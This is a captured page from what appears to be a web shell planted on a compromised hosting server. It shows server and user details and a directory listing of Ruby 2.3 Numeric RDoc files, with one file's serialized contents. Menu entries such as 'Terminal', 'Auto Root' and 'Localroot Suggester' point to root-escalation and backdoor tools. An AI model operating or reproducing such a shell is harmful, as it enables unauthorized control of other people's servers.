Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.216.222
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby23 /
share /
ri /
2.3.0 /
system /
Numeric /
Delete
Unzip
Name
Size
Permission
Date
Action
%25-i.ri
482
B
-rw-r--r--
2023-07-26 18:09
%2b%40-i.ri
316
B
-rw-r--r--
2023-07-26 18:09
%2d%40-i.ri
330
B
-rw-r--r--
2023-07-26 18:09
%3c%3d%3e-i.ri
406
B
-rw-r--r--
2023-07-26 18:09
abs-i.ri
544
B
-rw-r--r--
2023-07-26 18:09
abs2-i.ri
306
B
-rw-r--r--
2023-07-26 18:09
angle-i.ri
340
B
-rw-r--r--
2023-07-26 18:09
arg-i.ri
336
B
-rw-r--r--
2023-07-26 18:09
cdesc-Numeric.ri
3.55
KB
-rw-r--r--
2023-07-26 18:09
ceil-i.ri
649
B
-rw-r--r--
2023-07-26 18:09
coerce-i.ri
872
B
-rw-r--r--
2023-07-26 18:09
conj-i.ri
324
B
-rw-r--r--
2023-07-26 18:09
conjugate-i.ri
310
B
-rw-r--r--
2023-07-26 18:09
denominator-i.ri
350
B
-rw-r--r--
2023-07-26 18:09
div-i.ri
570
B
-rw-r--r--
2023-07-26 18:09
divmod-i.ri
2.08
KB
-rw-r--r--
2023-07-26 18:09
eql%3f-i.ri
557
B
-rw-r--r--
2023-07-26 18:09
fdiv-i.ri
318
B
-rw-r--r--
2023-07-26 18:09
floor-i.ri
573
B
-rw-r--r--
2023-07-26 18:09
i-i.ri
369
B
-rw-r--r--
2023-07-26 18:09
imag-i.ri
318
B
-rw-r--r--
2023-07-26 18:09
imaginary-i.ri
307
B
-rw-r--r--
2023-07-26 18:09
initialize_copy-i.ri
449
B
-rw-r--r--
2023-07-26 18:09
integer%3f-i.ri
501
B
-rw-r--r--
2023-07-26 18:09
magnitude-i.ri
556
B
-rw-r--r--
2023-07-26 18:09
modulo-i.ri
491
B
-rw-r--r--
2023-07-26 18:09
negative%3f-i.ri
345
B
-rw-r--r--
2023-07-26 18:09
nonzero%3f-i.ri
680
B
-rw-r--r--
2023-07-26 18:09
numerator-i.ri
324
B
-rw-r--r--
2023-07-26 18:09
phase-i.ri
340
B
-rw-r--r--
2023-07-26 18:09
polar-i.ri
324
B
-rw-r--r--
2023-07-26 18:09
positive%3f-i.ri
348
B
-rw-r--r--
2023-07-26 18:09
quo-i.ri
395
B
-rw-r--r--
2023-07-26 18:09
real%3f-i.ri
356
B
-rw-r--r--
2023-07-26 18:09
real-i.ri
296
B
-rw-r--r--
2023-07-26 18:09
rect-i.ri
337
B
-rw-r--r--
2023-07-26 18:09
rectangular-i.ri
331
B
-rw-r--r--
2023-07-26 18:09
remainder-i.ri
415
B
-rw-r--r--
2023-07-26 18:09
round-i.ri
632
B
-rw-r--r--
2023-07-26 18:09
singleton_method_added-i.ri
486
B
-rw-r--r--
2023-07-26 18:09
step-i.ri
2.25
KB
-rw-r--r--
2023-07-26 18:09
to_c-i.ri
317
B
-rw-r--r--
2023-07-26 18:09
to_int-i.ri
521
B
-rw-r--r--
2023-07-26 18:09
truncate-i.ri
472
B
-rw-r--r--
2023-07-26 18:09
zero%3f-i.ri
336
B
-rw-r--r--
2023-07-26 18:09
Save
Rename
U:RDoc::NormalClass[iI"Numeric:ET@I"Object;To:RDoc::Markup::Document:@parts[o;;[ : @fileI"lib/mathn.rb;T:0@omit_headings_from_table_of_contents_below0o;;[o:RDoc::Markup::Paragraph;[I"UNumeric is the class from which all higher-level numeric classes should inherit.;To:RDoc::Markup::BlankLine o;;[I"`Numeric allows instantiation of heap-allocated objects. Other core numeric classes such as ;TI"`Integer are implemented as immediates, which means that each Integer is a single immutable ;TI",object which is always passed by value.;T@o:RDoc::Markup::Verbatim;[I"a = 1 ;TI"0puts 1.object_id == a.object_id #=> true ;T:@format0o;;[I"\There can only ever be one instance of the integer +1+, for example. Ruby ensures this ;TI"1by preventing instantiation and duplication.;T@o; ;[I"RInteger.new(1) #=> NoMethodError: undefined method `new' for Integer:Class ;TI"61.dup #=> TypeError: can't dup Fixnum ;T;0o;;[I"QFor this reason, Numeric should be used when defining other numeric classes.;T@o;;[I"\Classes which inherit from Numeric must implement +coerce+, which returns a two-member ;TI"XArray containing an object that has been coerced into an instance of the new class ;TI"and +self+ (see #coerce).;T@o;;[ I"[Inheriting classes should also implement arithmetic operator methods (<code>+</code>, ;TI"_<code>-</code>, <code>*</code> and <code>/</code>) and the <code><=></code> operator (see ;TI"UComparable). These methods may rely on +coerce+ to ensure interoperability with ;TI"(instances of other numeric classes.;T@o; ;[.I"class Tally < Numeric ;TI" def initialize(string) ;TI" @string = string ;TI" end ;TI" ;TI" def to_s ;TI" @string ;TI" end ;TI" ;TI" def to_i ;TI" @string.size ;TI" end ;TI" ;TI" def coerce(other) ;TI"2 [self.class.new('|' * other.to_i), self] ;TI" end ;TI" ;TI" def <=>(other) ;TI" to_i <=> other.to_i ;TI" end ;TI" ;TI" def +(other) ;TI"3 self.class.new('|' * (to_i + other.to_i)) ;TI" end ;TI" ;TI" def -(other) ;TI"3 self.class.new('|' * (to_i - other.to_i)) ;TI" end ;TI" ;TI" def *(other) ;TI"3 self.class.new('|' * (to_i * other.to_i)) ;TI" end ;TI" ;TI" def /(other) ;TI"3 self.class.new('|' * (to_i / other.to_i)) ;TI" end ;TI" end ;TI" ;TI"tally = Tally.new('||') ;TI"*puts tally * 2 #=> "||||" ;TI"'puts tally > 1 #=> true;T;0; I"numeric.c;T; 0; 0; 0[ [ [[I"Comparable;To;;[ ; @^; 0I"numeric.c;T[[I" class;T[[:public[ [:protected[ [:private[ [I" instance;T[[;[1[I"%;T@f[I"+@;T@f[I"-@;T@f[I"<=>;T@f[I"abs;T@f[I" abs2;TI"complex.c;T[I" angle;T@}[I"arg;T@}[I" ceil;T@f[I"coerce;T@f[I" conj;T@}[I"conjugate;T@}[I"denominator;TI"rational.c;T[I"div;T@f[I"divmod;T@f[I" eql?;T@f[I" fdiv;T@f[I" floor;T@f[I"i;T@f[I" imag;T@}[I"imaginary;T@}[I"initialize_copy;T@f[I" integer?;T@f[I"magnitude;T@f[I"modulo;T@f[I"negative?;T@f[I" nonzero?;T@f[I"numerator;T@�[I" phase;T@}[I" polar;T@}[I"positive?;T@f[I"quo;T@�[I" real;T@}[I" real?;T@f[I" rect;T@}[I"rectangular;T@}[I"remainder;T@f[I" round;T@f[I"singleton_method_added;T@f[I" step;T@f[I" to_c;T@}[I"to_int;T@f[I" truncate;T@f[I" zero?;T@f[;[ [;[ [ [U:RDoc::Context::Section[i 0o;;[ ; 0; 0[ I"complex.c;T@ @^I"rational.c;T@�cRDoc::TopLevel